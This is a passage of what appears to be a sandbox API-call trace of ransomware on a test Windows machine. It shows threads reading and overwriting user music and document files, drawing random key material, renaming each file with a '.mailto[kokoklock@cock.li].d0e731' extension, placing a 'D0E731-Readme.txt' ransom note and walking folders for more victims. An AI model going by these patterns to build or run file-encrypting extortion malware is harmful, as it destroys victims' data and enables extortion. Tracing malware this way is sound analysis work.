RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.830] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.830] ReadFile (in: hFile=0x43c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x237bfb94, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x237bfb94*=0x4096, lpOverlapped=0x0) returned 1 [0079.830] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.830] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.830] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.830] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0079.830] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0079.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0079.831] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0079.831] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.831] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.831] WriteFile (in: hFile=0x43c, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x237bfb94, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x237bfb94*=0x4096, lpOverlapped=0x0) returned 1 [0079.831] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.831] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x15295, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.831] WriteFile (in: hFile=0x43c, lpBuffer=0x3492000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x237bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x3492000*, lpNumberOfBytesWritten=0x237bfbcc*=0x20, lpOverlapped=0x0) returned 1 [0079.831] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.831] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.832] WriteFile (in: hFile=0x43c, lpBuffer=0x34921e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x237bfbe0, lpOverlapped=0x0 | out: lpBuffer=0x34921e0*, lpNumberOfBytesWritten=0x237bfbe0*=0x8, lpOverlapped=0x0) returned 1 [0079.832] WriteFile (in: hFile=0x43c, lpBuffer=0x237bfbf8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x237bfbe0, lpOverlapped=0x0 | out: lpBuffer=0x237bfbf8*, lpNumberOfBytesWritten=0x237bfbe0*=0x4, lpOverlapped=0x0) returned 1 [0079.832] WriteFile (in: hFile=0x43c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x237bfbe0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x237bfbe0*=0x4, lpOverlapped=0x0) returned 1 [0079.832] WriteFile (in: hFile=0x43c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x237bfbe0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x237bfbe0*=0x6c, lpOverlapped=0x0) returned 1 [0079.832] WriteFile (in: hFile=0x43c, lpBuffer=0x3491e70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x237bfbe0, lpOverlapped=0x0 | out: lpBuffer=0x3491e70*, lpNumberOfBytesWritten=0x237bfbe0*=0x20, lpOverlapped=0x0) returned 1 [0079.832] WriteFile (in: hFile=0x43c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x237bfbe0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x237bfbe0*=0x4, lpOverlapped=0x0) returned 1 [0079.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0079.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34921b8) returned 1 [0079.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34921e0) returned 1 [0079.832] CloseHandle (hObject=0x43c) returned 1 [0079.832] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0079.832] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav" [0079.832] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731" [0079.832] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\p2fabivq8u_s.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\p2fabivq8u_s.wav.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.833] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.833] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0079.833] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav", dwFileAttributes=0x20) returned 0 [0079.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348c130 [0079.833] wcscpy (in: _Dest=0x348c130, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0079.833] wcscat (in: _Dest=0x348c130, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt" [0079.834] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\d0e731-readme.txt")) returned 0x20 [0079.834] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c130) returned 1 [0079.834] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b910) returned 1 [0079.834] RtlExitUserThread (Status=0x1) Thread: id = 982 os_tid = 0x165c [0079.838] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\vw9ww3mrrhhhej hypk8.m4a")) returned 0x20 [0079.838] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a", dwFileAttributes=0x20) returned 1 [0079.838] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\vw9ww3mrrhhhej hypk8.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0079.838] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2383fb7c | out: lpFileSize=0x2383fb7c*=76163) returned 1 [0079.838] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x1297f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.838] ReadFile (in: hFile=0x43c, lpBuffer=0x2383fb50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2383fb4c, lpOverlapped=0x0 | out: lpBuffer=0x2383fb50*, lpNumberOfBytesRead=0x2383fb4c*=0x4, lpOverlapped=0x0) returned 1 [0079.839] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.839] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491f60 [0079.839] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e70 [0079.839] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34921b8 [0079.839] NtQuerySystemTime (in: CurrentTime=0x2383fb28 | out: CurrentTime=0x2383fb28*=132121176377354886) returned 0x0 [0079.839] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0xb8d3529c [0079.839] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x53704f7a [0079.839] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0xb269a069 [0079.839] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0xb9bbfbf9 [0079.839] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x93d83602 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0xc5544bad [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x273871 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x736c00e5 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x5aa5c60a [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x94ee1f66 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x8c611dc1 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0xb2940a3f [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x77c8081d [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x9be83696 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x2f3a867b [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x5953a6ff [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0xb1ed40c3 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x4e430070 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x527f14d3 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0xd0bbd6b5 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0xe03fe7d4 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x517db2b6 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x76b15cb0 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x2f658697 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0xd8c26622 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0xd30c2a53 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x5b2f21d5 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x9d6efc4c [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x60143c7 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0xb8d88667 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0x2a1ea723 [0079.840] RtlRandom (in: Seed=0x2383fb34 | out: Seed=0x2383fb34) returned 0xffb2b06a [0079.853] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.853] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491f60) returned 1 [0079.853] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.853] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.853] ReadFile (in: hFile=0x43c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2383fb00, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2383fb00*=0x4096, lpOverlapped=0x0) returned 1 [0079.853] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.853] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.853] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.853] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0079.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0079.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0079.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0079.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.855] WriteFile (in: hFile=0x43c, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2383fb00, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2383fb00*=0x4096, lpOverlapped=0x0) returned 1 [0079.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.855] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x12983, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.855] WriteFile (in: hFile=0x43c, lpBuffer=0x3492000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2383fb38, lpOverlapped=0x0 | out: lpBuffer=0x3492000*, lpNumberOfBytesWritten=0x2383fb38*=0x20, lpOverlapped=0x0) returned 1 [0079.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.855] WriteFile (in: hFile=0x43c, lpBuffer=0x3491d08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2383fb4c, lpOverlapped=0x0 | out: lpBuffer=0x3491d08*, lpNumberOfBytesWritten=0x2383fb4c*=0x8, lpOverlapped=0x0) returned 1 [0079.855] WriteFile (in: hFile=0x43c, lpBuffer=0x2383fb64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2383fb4c, lpOverlapped=0x0 | out: lpBuffer=0x2383fb64*, lpNumberOfBytesWritten=0x2383fb4c*=0x4, lpOverlapped=0x0) returned 1 [0079.855] WriteFile (in: hFile=0x43c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2383fb4c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2383fb4c*=0x4, lpOverlapped=0x0) returned 1 [0079.855] WriteFile (in: hFile=0x43c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2383fb4c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2383fb4c*=0x6c, lpOverlapped=0x0) returned 1 [0079.855] WriteFile (in: hFile=0x43c, lpBuffer=0x3491e70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2383fb4c, lpOverlapped=0x0 | out: lpBuffer=0x3491e70*, lpNumberOfBytesWritten=0x2383fb4c*=0x20, lpOverlapped=0x0) returned 1 [0079.855] WriteFile (in: hFile=0x43c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2383fb4c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2383fb4c*=0x4, lpOverlapped=0x0) returned 1 [0079.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0079.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34921e0) returned 1 [0079.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491d08) returned 1 [0079.856] CloseHandle (hObject=0x43c) returned 1 [0079.856] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xdc) returned 0x3433690 [0079.856] wcscpy (in: _Dest=0x3433690, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a" [0079.856] wcscat (in: _Dest=0x3433690, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731" [0079.856] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\vw9ww3mrrhhhej hypk8.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\vw9ww3mrrhhhej hypk8.m4a.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.857] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.857] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433690) returned 1 [0079.857] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a", dwFileAttributes=0x20) returned 0 [0079.857] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348c4c0 [0079.857] wcscpy (in: _Dest=0x348c4c0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0079.857] wcscat (in: _Dest=0x348c4c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt" [0079.857] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\d0e731-readme.txt")) returned 0x20 [0079.857] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c4c0) returned 1 [0079.857] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6528) returned 1 [0079.857] RtlExitUserThread (Status=0x1) Thread: id = 983 os_tid = 0x1660 [0079.858] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eac30 [0079.858] wcscpy (in: _Dest=0x33eac30, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" [0079.858] wcscat (in: _Dest=0x33eac30, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0079.858] wcscat (in: _Dest=0x33eac30, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\*") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\*" [0079.858] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f56c0 [0079.858] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\*", lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d2d1a10, ftCreationTime.dwHighDateTime=0x1d4c78b, ftLastAccessTime.dwLowDateTime=0xfdb6b200, ftLastAccessTime.dwHighDateTime=0x1d4cc91, ftLastWriteTime.dwLowDateTime=0xfdb6b200, ftLastWriteTime.dwHighDateTime=0x1d4cc91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0218 [0079.859] wcscmp (_String1=".", _String2=".") returned 0 [0079.859] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d2d1a10, ftCreationTime.dwHighDateTime=0x1d4c78b, ftLastAccessTime.dwLowDateTime=0xfdb6b200, ftLastAccessTime.dwHighDateTime=0x1d4cc91, ftLastWriteTime.dwLowDateTime=0xfdb6b200, ftLastWriteTime.dwHighDateTime=0x1d4cc91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.859] wcscmp (_String1="..", _String2=".") returned 1 [0079.859] wcscmp (_String1="..", _String2="..") returned 0 [0079.859] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dc18f40, ftCreationTime.dwHighDateTime=0x1d4cd9b, ftLastAccessTime.dwLowDateTime=0x84d970c0, ftLastAccessTime.dwHighDateTime=0x1d4c818, ftLastWriteTime.dwLowDateTime=0x84d970c0, ftLastWriteTime.dwHighDateTime=0x1d4c818, nFileSizeHigh=0x0, nFileSizeLow=0x1b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="8kVj0AW.odt", cAlternateFileName="")) returned 1 [0079.859] wcscmp (_String1="8kVj0AW.odt", _String2=".") returned 1 [0079.859] wcscmp (_String1="8kVj0AW.odt", _String2="..") returned 1 [0079.859] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f1250 [0079.859] wcscpy (in: _Dest=0x33f1250, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" [0079.859] wcscat (in: _Dest=0x33f1250, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0079.859] wcscat (in: _Dest=0x33f1250, _Source="8kVj0AW.odt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt" [0082.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f1250, 